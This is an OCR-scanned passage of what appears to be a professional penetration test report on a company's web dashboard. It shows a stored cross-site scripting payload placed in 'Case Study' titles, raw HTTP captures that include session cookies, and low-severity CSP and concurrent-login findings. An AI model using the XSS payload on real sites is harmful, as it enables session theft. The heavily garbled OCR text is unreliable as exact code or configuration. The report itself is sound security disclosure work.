Sec—Ch-Ua-Mobile: /+.doubleclick.net https://+.googlesyndication. com https://+. linkedin.com https://+.licdn.com
Sec—Ch-Ua-Platform: "mac0S" /%. facebook. com https://.fbcdn.net https://#.ytimg.com https://*.youtube.com https://+.twitter.com
Accept-Language: en-US,en;q=0.9 .twimg. com https://cookie-cdn.cookiepro.com https://static.instabot.io https://tag.demandbase.com
/lottie.host https://+. lottiefiles.com https://d2iiunrSwsschl.cloudfront. nef

*'143", “Not A(Brand";

4
5
6

CEuw

10 Origin: https://www.parexel.com .demandbase.com http

11 Content-Type: multipart/form-data; boundary=-———-WebKitFormBoundaryIioN5JV5p5UvdRxC https://*.bugherd.com https://*.amazonaws.com; font-src ‘self' data: https://fonts.gstatic.com
12 Upgrade-Insecure-Requests: 1 https://ka-p.fontawesome.com https://cdnjs.cloudflare.com https://d2Ziiunr5wsSchl. cloudfront.net
L

/at.alicdn.com; connect-src 'self' https://analytics.google.com https://www.google-analytics.com
/regionl.analytics.google.com https://regionl.google-analytics.com https://stats.g.doubleclick.net
/ad.doubleclick.net https://googleads.g.doubleclick.net https://adservice.google.com

/pagead?. googlesyndication. com https://www.google.com https://+.google. com https://*.google. co.uk
/+.qoogle.de https://+.google.fr https://+.google.es https://+.google.it https://+.google.nl
/*.g00gle.co.jp https://.google.com.au https://px.ads.linkedin.com https://cdn. linkedin.oribi.io
/#.hotjar.com https://in.hotjar.com https://vc.hotjar.io https://content.hotjar.io

User-Agent: Mozillas5.0 (Macintosh; Intel Mac 05 X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/143.0.0.9 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xnl;q=0.9, inage/avif, image/webp, inage/apng,*/;q=8.8,applicat
ion/signed-exchange;v=b3;q
I5 Sec-Fetch-Site: same-origin
16 Sec-Fetch-Mode: navigate

=

17 Sec-Fetch-User: 71 https://widget.instabot.io https://widgetapi.instabot.io https://static.instabot.ic https://chat.instabot.ic
18 Sec-Fetch-Dest: document https://livechat.instabot.io wss://chat. instabot.io https://cookie-cdn.cookiepra.com
13 Referer: https://waw.parexel.com/index.php/dashboard/studies/manage/add https://geclocation.onetrust.com https://privacyportal.cookiepro.com https://tag.demandbase. com

deflate, br https://tag-logger. demandbase. com https://segments.company-target.com https://api.company-target.com
/amd.sellingsimplified.net https://st.fullcircleinsights.com https://ipinfo.io

/geodata.solutions https://maps.googleapis.com https://sessions.bugsnag.com

/notify.bugsnag.com https://waw.bugherd, com wss://ws-mt1.pusher.com wss://ws.pusherapp. com
/lottie.host https://assets2. lottiefiles.com https://cdn.jsdelivr.net https://ka-p. fontawesome.com;

20 Accept-Encoding: gzip,
Priority: u=0, i
Connection: keep-alive

——WebKitFormBoundaryIioN5JVSp5sUvdRxC

Content-Disposition: form-data; name="ccm_token" frame-src 'self' https://ww.youtube.com https://player.vimeo.com https:/ /wa. facebook. com
/v, google. com https://www.googletagmanager.com https:/finsight.adsrvr.org
1766509957 c3bBBO4ad3cB5eTbI1996c13bbEITEEE /td.doubleclick.net https://vars.hotjar.com https://www.podbean.com https://form.asana.com
—————-WebKitFormBoundaryTioN5IV5pSUvdRxC https://content.cdnturk.com https://explore.parexel.com https://lottie.host https://sidebar.bugherd.com;
23 Content-Disposition: form-data; name="title" media-src 'self' https://download-video.akamaized.net https://player.vimeo.com https://mcdn.podbean.com

/www, youtube.com https://lottie.host https://assets2.lottiefiles.com; object-src 'none';
ncestors 'self'; form-action 'self' https://pi.pardot.com https://explore.parexel.com; base-uri
upgrade-insecure-requests

CacheControl: no-cache, must-revalidate, max-age=0

Location: https://waw.parexel.com/dashboard/studies/manage

[scriptoatertidocunent. cookie)<sscripts |
2 TTPUTIE T AT YT TN,
Content-Disposition: form-data; name="bg_ing"

Figure 13 - Call to create new 'Case Study'

The XSS payload was triggered by viewing the list of 'Case Studies' at www.parexel.com/dashboard/studies/manage:
fwww.parexel.com}dashnoard,‘sludies.imanage

www.parexel.com says

rokoAP|=%7B%22ApplicationSessionUuid%22%3A%22251a65
e5-bde9-4a2b-bea3-2602666429a9%22%7D;
_gcl_au=1.1.1682264295.1765829002;
_ga=0GA1.1.1297586075.1765829002;
_fbp=fb.1.1765829002221.862030720371210973; _hj

SessionUser_2954580=eyJpZCI6ljlyYzkSNDNhLWYSNTQtNTIy

NCO05ZjczLTFkMDcwOWY 1MDkyMils

ImNyZWFOZWQIOJE3NjUAMjkwMDIONzIsImV4aXNOaWsnljpOcn
_fedscv=eyJDdXNOb21ick

Figure 14 - XSS payload executes when viewing list of Case Studies
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When naming a 'Case Study' item at www.parexel.com/index.php/dashboard/studies/items/save

[%] bttps:/iwww.parexel.com/index.phpfdashboard/studies/items/edit{16/52

€& TO MY WEBSITE

‘L‘ Manage Study ltems

Item Title

‘ <script=alert(document.cookie)</script>

Figure 15 - Naming a 'Case Study' item an XSS payload
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Request
Prety  Raw  Hex

1 POST /dashboard/studies/items/save HTTP/1.1
Host: www.parexel.com
Cookie: visid_incap_3218675= 7h18JmeDtEVquJ\/7H350ﬂpDGkAAAAA0\JIPAAAAAABHJﬂthrhlZleuFSi;ziu; rokoAPT=
S7B%22AppLicationSessionlluids22%3A%22251a65e5-bded-4a2b-beal-2682666429a9%22%7D; _gel_a
1.1.16822642095.1765829002; _ga=GA1.1.1297586075.1765820002; _fbp=fb.1.1765820002221. aszamnaanna;u
_hjsessionUser_2954580=
€yIp2CT6Tj TyVzkSNDNhLWYSNTQNTIYNCB5Z] czLTFKMDCwOWY 1MDkyMi Ts TuNyZWFOZHQi0 ] E3N]U4H j kwMDI8NzT s InV4aXNOak5nT
jpeenvlig
eyIDAXNOb211ck1kLjoiMjg2ZnFhMZEtH ] c1MyBBODCY LT LnYTgthj VnYzAdM2ZkM] Y21 iwiVnlzaXRyc iT6ey ] FbWFpbCIEbnYshCuiR
XhOZXIuYWxwaXNpdGaYSWO101 Iy YTAWOD IhYS By Y 2EwL TQYN2ZOTY JHZNS1 INZgaNGNNZDZNZDT 1 SwivmlzaXRz I j pbXSwiQuUNBaXzpdG
11eyT6W105TkRpYHdub3NDGWNNZXNZ YW LLjpudhixsTQ==; OptanonAlertBoxClosed=2025-12-15T20:04:57.979Z;
AMCV_3BCF678254E9381B0AACIBASKABAd0beE0 rg=
179643557%7CHCHID%7 C61935385869493252253287186247963503391%7CMCAAMLH-1766433912%7C75%7 CMCAAMB-17664339125%7
CBG1ynYcl Pui0xYZrsz_pkqfLGIyMXBpb2 zX5dv]dY0IzPXTnd]By%7 CMCOPTOUT-17658363125%7CNONESTCyVers ion%7C5. 5.0;
dashboardPanelStatus=null; rekoAPISession=7518f66-2d2c-4acl-8@ca-d8cBbc6bI0ss; OptanonConsent=
isGpcEnabled=B&datestanp=Tue+Dec+23+2025+8B%3A34%3AB1+GHT-0700+ (Mountain+Standard+Time) Gversion=202403. 1.
@&browserGpcFlag=0&isIABG lobal=false&hosts=&consentId=1603c311-bead—48 f7-bf4b-1d43a42b440ckinteract ionCou
&isAnonUser=1&landingPath=NotLandingPage&groups: [BEIa1\3}1\2[[EBB)\!AE\2[[BBE3\3AB\l[[ﬂﬂlﬂﬂ\!hﬂ&g:nln(a
5%3BVAGAWaitingReconsent=false; _ga_NBHIFMIRZG=G52.1. 53508$01$t17665040415]575105h
_ga_EYKIEGZDBT=GS2.1. susssa)asnnmglm1755554244%1Smlmna- [DN[RETE 15281 1g200ef7nvee jbhBo3k24;

v=

+ "Not A(Brand

Sec-Ch-Ua-Platform: "mac0s”
Accept-Language: en-US, en;
Origin: https://ww.parexel.com

Content-Type: multipart/forn—data; boundary=———-WebKitFornBoundary2kinTmHbPyyFxAAK
Upgrade-Tnsecure-Requests:

User-Agent: Mozilla/5.8 (Macintosh; Intel Mac 0S X 18_15_7) AppleWebKit/537.36 (KHTML, like Gecke)
Chrome/143.0.0.8 Safari/537.36

Accept:

text/htnl, appumtmn/xnmuxml application/xml;q=0.9, image/avif, image/webp, inage/apng, +/*; =0.8,applicat
ion/signed-exchange;v=b3;
Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec—Fetch-User: ?1

Sec-Fetch-Dest: document

Referer: https://ww.parexel.com/index.php/dashboard/studies/items/add/20
Accepti En:nd)ng. gzip, deflate, br

Priority: u=
Connection: keep alive

14

WlebkitFornBoundary2kjmTntbPyy fxAAK
Content-Disposition: form-data; name="ccn_token®

1766510412: c265b346120841d1980bTbc27aTald2
WebKitFormBoundary2kimTmHbPyy fxAAK
Content-Disposition: form-data; name="title"

[sscriptralert (docunent. cookie)</script> |
RTMTARGPY Y TRAAR
Content-Disposition: form-data; name="bg_img"

Response
Pretty  Raw  Hex  Render

HTTP/1.@ 302 Found

Date: Tue, 23 Dec 2025 17:20:44 GMT

Server: Apache

Strict-Transport-Security: max-age=3153600

X-XSS-Protection: 1; mode=block

X-Content-Type-Optiens: nosniff

X-Frame-Options: SAMEORIGIN

Referrer-Policy: strict-origin-when-cross-origin

Pernissions—Policy: geolocation=(}, microphone=(), camera=()

Content-Security-Policy-Report-Only: default-src script-src ‘self' ‘unsafe-inline' 'report-sample’

NEtps: /A, 0009 etagmanager . con https:/ /. google-analytics. con https://umi.google, con

https://waw.googleadservices. con https://ww.gstatic.com https://pi.pardot.com https://cdn.pardot.com
si//snap. licdn. com https://connect.facebook.net https://widget.instabot.io

https://widgetapi.instabot.io https://addevent.com https://cdn.addevent.con
ps://cookie-cdn. cookiepro.com https://kit.fontawesome.com https://cdn.jsdelivr.net

//cdn.evgnet. com https://d2i34cBOadftze. cloudfront.net https://d2iiunrSws5chl. cloudfront.net

//d2uy81739ursnn. cloudfront.net NEtps://war. youtube. con http

//tag.demandbase. con https://amd.sellingsimplified.net https://explore.parexel.com

/flottie.host https://assets2. lottiefiles.com https://static.hotjar.com https://script.hotjar.com

/#googleads.g.doubleclick.net https://ww.googleadservices.con https://sidebar.bugherd.com

/fwwiw.bugherd. com; style-src 'self' 'unsafe-inline' 'report-sample' https://fonts.googleapis.com

//translate.googleapis. com https://cdn.jsdelivr.net https://cdnjs.cloudflare.con

//code. jquery.com https://d2iiunrSwusSchl.cloudfront.net https://form.asana.com https://lottie.host

/fassets2. lottiefiles.com; ing-src 'self' data: blob: https://*.google.com

//+.googletagmanager.con https://+.google-analytics.com https://*.gstatic.com

//+.doubleclick.net https://+.googlesyndication.com https://+.Llinkedin.com https://+.licdn.con

/7. facebook. com https://+.fbcdn.net https://+.ytimg.com https://+.youtube.com https://#. twitter.com

//%.twing. com https://cookie-cdn.cookiepro.com https://static.instabot.io https://tag.demandbase.com

7+ demandbase. com https://lottie.host https://+, lottiefiles.com

//d2iiunrSwsSchl. cloudfront.net https://+.bugherd.com https://*.amazonaws.com; font-src 'self' data:

//fonts.gstatic.com https://ka-p. fnntawasnma com https://cdnjs. cloudf lare. con

//d2iiunrSwsSchl. cloudfront.net http: cdn.com; connect-src

//analytics.google. con https://www.google—; ana\yncs com https://regionl.analytics.google.com

://regionl.google-analytics.com https://stats.g.doubleclick.net https://ad.doubleclick.net

//googleads. g.doubleclick.net https://adservice.google.con https://pagead2.gocglesyndication. com

+//www.google. com https://+.google.con https://+.google.co.uk https://+.google.de https://+.google. fr

://%.go0gle.es https://+.google.it https://*.google.nl https://*.google.co.jp https://*.google.com.au

//px.ads. Linkedin.com https://cdn.linkedin.oribi.io https://+.hotjar.com https://in.hotjar.con

//vc.hotjar.io https://content.hotjar.io https://widget.instabot.io https://widgetapi.instabot.io

https://static.instabot.io https://chat.instabot.io https://livechat.instabot.io wss://chat.instabot.io
https://cookie-cdn. cookiepro.com https://geolocation.onetrust.com https://privacyportal.cookiepro. com
https://tag.demandbase. con https://tag-logger.demandbase.com https://segments.company-target.com
https://api.company-target.com https://amd.sellingsinplified.net https://st.fullcircleinsights.com
https://ipinfo.io https://gecdata.solutions https://maps.googleapis.con https://sessions.bugsnag.com
https://notify.bugsnag. con https://www.bugherd.con wss://ws-nt1.pusher.com wss://ws.pusherapp.con
https://lottie.host https://assets2.lottiefiles.com https://cdn.jsdelivr.net https://ka-p.fontawesone. com;
frame-sre 'self' https://www.youtube.com https://player.vimeo.com https://ww. facebook.com
https://waw.google. com https://ww.googletagmanager.com https://insight.adsrvr.org
https://td.doubleclick.net https://vars.hotjar.con https://www.podbean.com https://form.asana.com
https://content. cdntwrk.com https://explore.parexel.com https://lottie.host https://sidebar.bugherd.com;
media-src ‘self' https://download-video.akamaized.net https://player.vimeo.com https://mcdn.podbean. com
Ittps:/fwww.youtube.com https://lottie.host https://assets2.lottiefiles.com; object-src 'none';
frame-ancestors 'self'; form-action 'self' https://pi.pardot.com https://explore.parexel.com; base-uri
'self'; upgrade-insecure-requests

11 Cache-Control: no-cache, must-revalidate, max-age=d

includeSubDomains

Figure 16 — Call to update 'Case Study' items

hitps:f/www.parexel.com/dashboard/studies/items

The XSS payload was triggered by viewing the list of 'Case Study' items at www.parexel.com/dashboard/studies/items:

www.parexel.com says

rokoAP|=%7B%22ApplicationSessionUuid%22%3A%22251a65
e5-bde9-4a2b-bea3-2602666429a9%22%7D;
_gcl_au=1.1.1682264295.1765829002;
_ga=GA1.1.1287586075.1765829002;
_fbp=1b.1.1765829002221.862030720371210973; _hj

SessionUser_2954580=eyJpZCI6ljlyYzkSNDNhLWYSNTQtNTIy
NCO5ZjczLTFkMDecwOW Y 1MDkyMils
ImNyZWFOZWQIOJE3NjU4MjkwMDIONzIsImV4aXNOaWwsnljpOcn
VIFQ _fedscv=eyJDdXNOb21lck

e limi ki) 7 s O ks EHLAT A~ A OO DL ] Tl Tk AL fre Vo A ARAD T LA di

Figure 17 - XSS Payload is executed when viewing items attached to a Case Study
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2 -Lack of HTTP Header: Content Security Policy

Severity Description

INFO The application does not utilize a
Content Security Policy (CSP) to
reduce the risk associated with

Category the exploitation of client-side

SeqUrty attacks.

Misconfiguration

Details

Impact

A missing or misconfigured CSP
header weakens the application's
defense-in-depth by allowing
browsers to load and execute content

stratum//security

a CyberAdvisors company

Recommendation

Review the OWASP Content Security Policy Cheat Sheet on how to
implement a CSP header to reduce the risk of client-side attacks.

Use Google's CSP Evaluator using the Sample Safe Policy as a baseline.

without restriction, increasing the risk
and potentialimpact of client-side

attacks. Reference(s)

Google CSP Evaluator

OWASP: Content Security Policy Cheat Sheet

The server employed a 'Content-Security-Policy-Report-Only' header, which only monitors CSP violations instead of preventing them.

Request
Pretty Raw Hex

1 GET / HTTP/1.1
2 Host: www.parexel.com
3 Cookie: visid_incap_3210675=

Cache-Control: max-age=@

-
Response
S no= Pretty Raw Hex Render [SH = AU

1 HTTP/1.1 280 OK
2 Date: Tue, 23 Dec 2025 15:21:29 GMT
3 Server: Apache

Strict-Transport-Security: max-age=315360@0; includeSubDomains

5 X-XSS-Protection: 1; mode=block

6 X-Content-Type-Options: nosniff

7 X-Frame-Options: SAMEORIGIN

8 Referrer-Policy: strict-origin-when-cross-origin

9 i = 0 = microphone=(}, camera=()

1@ |Content-Security-Policy-Report-0Onlyd default-src 'self'; script-src 'self
TmSareTLrIne TEpUT TeSamp e trttys i/ /www. goog letagmanager. com
https://www.google-analytics.com https://www.google.com
https://www.googleadservices.com https://www.gstatic.com
https://pi.pardot.com https://cdn.pardot.com https://snap.licdn.com
https://connect. facebook.net https://widget.instabot.io
https://widgetapi.instabot.io https://addevent.com https://cdn.addevent.com
https://cookie-cdn.cookiepro.com https://kit.fontawesome.com
https://cdn.jsdelivr.net https://cdn.evgnet.com
https://d2i34cB@a@ftze.cloudfront.net https://d2iiunr5ws5chl.cloudfront.net
https://d2wy8f7a9ursnm.cloudfront.net https://www.youtube.com
https://player.vimeo.com https://tag.demandbase.com
https://amd.sellingsimplified.net https://explore.parexel.com
https://lottie.host https://assets2.lottiefiles.com
https://static.hotjar.com https://script.hotjar.com
https://googleads.g.doubleclick.net https://www.googleadservices.com
https://sidebar.bugherd.com https://www.bugherd.com; style-src 'self'
‘unsafe-inline' 'report-sample' https://fonts.googleapis.com
https://translate.googleapis.com https://cdn.jsdelivr.net

Sec—-Ch-Ua: "Chromium";v="143", "Not A(Brand";v="24"
Sec-Ch-Ua-Mobile: 7@

Sec-Ch-Ua-Platform: "mac0s"

Accept-Language: en-US,en;q=0.9

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 05 X 10_15_7)
AppleWebKit/537.36 (KHTML, like Gecke) Chrome/143.0.0.8 Safari/537.36
11 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9, image/avif, image/webp,
image/apng,*/#;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin

SRR RNE- NTIFN

https:
https:
https:
blob:

https:
https:
https:
https:
https:
https:
https:

//cdnjs.cloudflare.com https://code. jquery.com
//d2iiunrSws5chl.cloudfront.net https://form.asana.com
//lottie.host https://assets2.lottiefiles.com; img-src 'self' data:
https://*.google,com https://+.googletagmanager.com
//*.google-analytics.com https://*.gstatic.com

//*.doubleclick.net https://*.googlesyndication.com
//*.linkedin.com https://*.licdn.com https://*.facebook.com
//#*.fbcdn.net https://*.ytimg.com https://*.youtube.com
//*.twitter.com https://#.twimg.com https://cookie-cdn.cookiepro.com
//static.instabot.io https://tag.demandbase.com

//#*.demandbase.com https://lottie.host https://*.lottiefiles.com

Figure 18 - 'Content-Security-Policy-Report-Only' response header
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3-Concurrent Logins Permitted

Severity

INFO

Category

Insecure Design

Details

Description

The application allows multiple
concurrent logins for the same
user account.

Impact

Users will not be aware if their
account credentials are
compromised when an attacker
accesses the account.

The application allowed multiple concurrent logins for the same user account.

Edit Profile

Username

admin

Email

‘ Stratum_pentesterO

Save

< [0 Elements Console

EB https:/fwww.parex... (&
EH Session storage Name
E8 Extension storage
E IndexedDB
\:‘: Cookies

o o

Sources Metwork

Y Filter

a | Value
CONCRETE  7cbrormig5a8...
CONCRET...

OptanonC... | isGpcEnabled=...

bcyberadvisors.com

sages.

Application > ABOET 8 I X s

D
w.
W
P

S X y 5 | CO is: Application
D Manifest Value
’.3 Service workers
£ storage
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Recommendation

Allow the user to have only one concurrent connection open to the
application at any time.

Notify the user that an access attempt has occurred if more than one
concurrent connection happens.

Display a greeting when the user successfully authenticates that shows
the date and time, and the IP address used to authenticate last.

Reference(s)

OWASP: Session Management Cheat Sheet

Edit Profile

Username

‘ admin

Email

‘ Stratum_penteste eradvisors.com

Save
messages.

I[o Elements Console Sources MNetwork Application >

Y Filter

[ 9... | 178643557%...
.. 1s28jlg2gqef7...

Storage

Figure 19 - The 'stratum_pentester01@cyberadvisors.com' account was accessed using 2 different session cookies
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Appendix A: Application Security Assessment Methodology

Application Security Assessment

The following is a high-level overview of the process Stratum uses to assess security controls and identify flaws that
may expose the business and its customers to risk. Stratum employs a combination of automated and manual testing
techniques tailored to the application’s risk profile and technology stack.

Broken Access Control

Cryptographic Failures

Injection

Insecure Design

Security Misconfiguration

Vulnerable and Outdated
Components

Identification and
Authentication Failures

Software and Data Integrity
Failures

Security Logging and
Monitoring Failures

Server-Side Request Forgery

Identify access controls to ensure that only legitimate privileged users’ access can access data or
functionality.

Identify unauthorized access to resources from anonymous and authenticated user roles.

Ensure up-to-date and strong standard algorithms, protocols, and keys are in place.

Ensure all data is encrypted in transit with secure protocols such as TLS with forward secrecy
ciphers ordered properly.

Identify susceptibility to cross-site scripting (XSS), SQL Injection (SQLi), and other injection
vulnerabilities.

Identify input validation issues associated with HTTP methods and headers, URL redirection, and file
upload functionalities.

Ensure TLS certificates are properly configured.

Ensure proper upload restrictions are in place for dangerous file types.

Ensure tenants are properly segmented.

Ensure client-side application technologies use reasonable cross-domain configurations.

Identify unnecessary default configurations for ports, accounts, services, or privileges.

Identify error handling or code comments that are overly informative leaking sensitive information.
Identify missing or misconfigured security headers or directives.

Identify unsupported or unpatched/outdated web servers, application server frameworks,
associated modules or plugins, databases, and related services.

Evaluate application password caching directives issued to browsers.

Ensure authentication is required to access sensitive business functionality.

Ensure user account information cannot be deduced via error messages or brute-force guessing.
Ensure user sessions are established and terminated properly.

Ensure session identifiers are not predictable, transmitted securely, and employ security attributes.
Ensure that unsigned or unencrypted serialized data is not sent to untrusted clients without an
integrity check.

Identify logs that are stored locally.

Ensure log data is encoded correctly to prevent injections or attacks on the logging or monitoring

systems.

Ensure all client-supplied inputis sanitized and validated.
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Tools

The tools used during an assessment include but are not limited to the following:

Burp Suite SQLmap
Nmap CyberChef
hashcat Custom written Python scripts
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Appendix B: Glossary of Terms

Category

Stratum organizes each finding into a category that follows the OWASP Top 10.

Finding

Findings represent vulnerabilities or conditions that threat agents may exploit or use to cause the organization risk.

Stratum expresses a finding by providing a clearer and complete picture of the vulnerability, including details and
compensating controls or conditions. Many times, a finding may contain several vulnerabilities.

Impact

Animpactis a bad outcome if a threat agent successfully exploits a vulnerability.

Severity

The severity is the cumulative measurement of exposure to the risk represented by the finding. The severity rating
considers the vulnerability, potential impact or negative outcome, access requirements, and user interaction required
for successful exploitation. These definitions are the baseline for judging risk, but findings may be adjusted due to
certain factors.

CRITICAL - The exposure may be exploited, resulting in system compromise, authentication bypass, or
unauthorized data access by users without privileges or existing user access. These findings are typically
exploitable without authentication and should be addressed immediately.

HIGH -The exposure may be exploited, resulting in system compromise, privilege escalation, or unauthorized
data access by users with access to the system. These findings are exploitable by existing users and should
be addressed as soon as possible.

—The exposure may be exploited, resulting in outcomes such as system compromise or privilege
escalation where some user interaction is required for the attack to be successful. These findings should be
remediated once all critical and high-severity findings are remediated.

—The exposure may provide information or access, which, while not exposing the system to current risk,
may expose the system to future risks. These findings should be addressed but can be remediated over a
longer timeline.

INFO - Controls that could be implemented to enhance the application's security posture further or not
based on business decisions. Stratum recommends a wide range of preventative controls to help stop
vulnerabilities before they can be exploited. Implementing these controls with a robust SDLC program and
regular reviews can greatly increase an application's security posture.
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Appendix C: Stratum Assessment Grading

Stratum scores assessments based on letter grades, which correspond to a percentage bracket. The highest
assessment score that can be earned is an A and decreases based on the number of findings for each severity
(critical, high, medium, and low).

The customer average is based on similar assessment types completed by Stratum within the preceding year. The
results from each assessment are scored based on the number of findings and their relative severity. To calculate the
average, Stratum divides the total sum of observations by the total number of observations. This customer average is
also known as the mean of observations.

Severity Weighted Score
Critical 15 Project Snapshot
High 5
Medium 3 Current Assessment Grade
Low 1
Acme
Application
Grade
A Score is 90 or above Average Customer Grade
B Score is between 80 and 90
C Score is between 70 and 80 . .
Application
D Score is between 60 and 70
Assessments
F Scoreis 59 or less
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Stratum Security is an information security services firm headquartered in the Washington DC Metro area. Founded in
2005, Stratum Security provides services to clients worldwide. Our list of successful engagements includes large multi-
national enterprises to small start-ups in a wide array of industries including finance, insurance, retail, hospitality,
education, health care, government, technology, energy, and telecommunications.

Core Service Offerings

Application Security Network Security Cloud Security

Application Security Penetration

Testing (Web, Mobile, Client) Network Penetration Testing Microsoft 365 Security Review

Amazon Web Services Security

Source Code Review Red Teaming .
Review
Developer Training Breach Readiness Assessments Azure Security Review
Managed AppSec Testing Blue Team Review Goo.gle Cloud Platform Security
Review
Staff Augmentation Wireless Security

https://stratumsecurity.com // info@stratumsecurity.com // 888-408-1337
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